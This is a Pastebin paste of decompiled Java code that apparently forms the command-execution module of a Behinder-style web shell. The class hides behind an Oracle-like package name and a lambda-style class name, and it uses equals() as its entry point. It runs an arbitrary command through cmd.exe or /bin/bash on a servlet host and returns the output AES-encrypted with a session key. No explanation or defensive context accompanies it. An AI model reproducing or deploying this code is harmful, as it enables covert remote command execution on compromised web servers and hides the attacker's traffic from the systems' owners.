Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- package com.oracle.qb.jnbp;
- import java.io.BufferedReader;
- import java.io.File;
- import java.io.InputStream;
- import java.io.InputStreamReader;
- import java.nio.charset.Charset;
- import java.util.HashMap;
- import java.util.Iterator;
- import java.util.Map;
- import java.util.Random;
- import java.util.UUID;
- import javax.crypto.Cipher;
- import javax.crypto.spec.SecretKeySpec;
- import javax.servlet.ServletOutputStream;
- import javax.servlet.ServletRequest;
- import javax.servlet.ServletResponse;
- import javax.servlet.http.HttpSession;
- public class RqFl$$Lambda$1 {
- public static String cmd;
- private ServletRequest Request;
- private ServletResponse Response;
- private HttpSession Session;
- private byte[] Encrypt(byte[] var1) throws Exception {
- byte[] var2 = this.Session.getAttribute("u").toString().getBytes("utf-8");
- Cipher var3 = Cipher.getInstance("AES/ECB/PKCS5Padding");
- var3.init(1, new SecretKeySpec(var2, "AES"));
- return var3.doFinal(var1);
- }
- private String buildJson(Map<String, String> var1, boolean var2) throws Exception {
- StringBuilder var3 = new StringBuilder();
- String var4 = System.getProperty("java.version");
- var3.append("{");
- Iterator var5 = var1.keySet().iterator();
- while(var5.hasNext()) {
- String var6 = (String)var5.next();
- var3.append("\"" + var6 + "\":\"");
- String var7 = (String)var1.get(var6);
- if (var2) {
- Class var8;
- Object var9;
- if (var4.compareTo("1.9") >= 0) {
- var8 = Class.forName("java.util.Base64");
- var9 = var8.getMethod("getEncoder", (Class[])null).invoke(var8, (Object[])null);
- var7 = (String)var9.getClass().getMethod("encodeToString", byte[].class).invoke(var9, var7.getBytes("UTF-8"));
- } else {
- var8 = Class.forName("sun.misc.BASE64Encoder");
- var9 = var8.newInstance();
- var7 = (String)var9.getClass().getMethod("encode", byte[].class).invoke(var9, var7.getBytes("UTF-8"));
- var7 = var7.replace("\n", "").replace("\r", "");
- }
- }
- var3.append(var7);
- var3.append("\",");
- }
- if (var3.toString().endsWith(",")) {
- var3.setLength(var3.length() - 1);
- }
- var3.append("}");
- return var3.toString();
- }
- private String getRandomString() {
- int var1 = (new Random()).nextInt(36) + 1;
- return UUID.randomUUID().toString().substring(var1);
- }
- private String RunCMD(String var1) throws Exception {
- Charset var2 = Charset.forName(System.getProperty("sun.jnu.encoding"));
- StringBuilder var3 = new StringBuilder();
- if (var1 != null && var1.length() > 0) {
- Process var4;
- if (System.getProperty("os.name").toLowerCase().contains("windows")) {
- var4 = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", var1});
- } else if (var1.startsWith("!") && var1.contains(" ")) {
- var1 = var1.substring(1);
- String var8 = var1.substring(0, var1.indexOf(" "));
- String var6 = var1.substring(var1.indexOf(" ") + 1);
- var4 = Runtime.getRuntime().exec(new String[]{var8, "-c", var6});
- } else if (var1.startsWith("@")) {
- var1 = var1.substring(1);
- var4 = Runtime.getRuntime().exec(var1);
- } else {
- File var5 = new File("/bin/bash");
- if (!var5.exists()) {
- var4 = Runtime.getRuntime().exec(var1);
- } else {
- var4 = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", var1});
- }
- }
- Thread.sleep(200L);
- InputStream var9;
- if (var4.getErrorStream().available() != 0) {
- var9 = var4.getErrorStream();
- } else {
- var9 = var4.getInputStream();
- }
- BufferedReader var10 = new BufferedReader(new InputStreamReader(var9, "GB2312"));
- for(String var7 = var10.readLine(); var7 != null; var7 = var10.readLine()) {
- var3.append(var7).append("\n");
- }
- }
- return new String(var3.toString().getBytes(var2));
- }
- public boolean equals(Object var1) {
- boolean var2 = false;
- HashMap var3 = new HashMap();
- boolean var14 = false;
- ServletOutputStream var22;
- label118: {
- label119: {
- try {
- var14 = true;
- if (var1.getClass().toString().contains("PageContext")) {
- this.Response = (ServletResponse)var1.getClass().getDeclaredMethod("getResponse", (Class[])null).invoke(var1);
- this.Session = (HttpSession)var1.getClass().getDeclaredMethod("getSession", (Class[])null).invoke(var1);
- var2 = true;
- } else {
- this.Session = (HttpSession)((Object[])((Object[])var1))[0];
- this.Response = (ServletResponse)((Object[])((Object[])var1))[1];
- }
- this.Response.setContentType("application/octet-stream");
- this.Response.setCharacterEncoding("UTF-8");
- if (var2) {
- Object var4 = Class.forName("javax.servlet.jsp.PageContext").getMethod("getOut").invoke(var1);
- var4.getClass().getMethod("clear").invoke(var4);
- }
- var3.put("msg", this.RunCMD(cmd));
- var14 = false;
- break label118;
- } catch (Exception var19) {
- var3.put("msg", var19.getMessage());
- var14 = false;
- } catch (Throwable var20) {
- var3.put("msg", var20.toString());
- var14 = false;
- break label119;
- } finally {
- if (var14) {
- try {
- var3.put("status", "success");
- var3.put("random", this.getRandomString() + this.getRandomString());
- ServletOutputStream var6 = this.Response.getOutputStream();
- var6.write(this.Encrypt(this.buildJson(var3, true).getBytes("UTF-8")));
- var6.flush();
- var6.close();
- } catch (Exception var15) {
- var15.printStackTrace();
- }
- }
- }
- try {
- var3.put("status", "success");
- var3.put("random", this.getRandomString() + this.getRandomString());
- var22 = this.Response.getOutputStream();
- var22.write(this.Encrypt(this.buildJson(var3, true).getBytes("UTF-8")));
- var22.flush();
- var22.close();
- } catch (Exception var17) {
- var17.printStackTrace();
- }
- return true;
- }
- try {
- var3.put("status", "success");
- var3.put("random", this.getRandomString() + this.getRandomString());
- var22 = this.Response.getOutputStream();
- var22.write(this.Encrypt(this.buildJson(var3, true).getBytes("UTF-8")));
- var22.flush();
- var22.close();
- } catch (Exception var16) {
- var16.printStackTrace();
- }
- return true;
- }
- try {
- var3.put("status", "success");
- var3.put("random", this.getRandomString() + this.getRandomString());
- var22 = this.Response.getOutputStream();
- var22.write(this.Encrypt(this.buildJson(var3, true).getBytes("UTF-8")));
- var22.flush();
- var22.close();
- } catch (Exception var18) {
- var18.printStackTrace();
- }
- return true;
- }
- }
Add Comment
Please, Sign In to add comment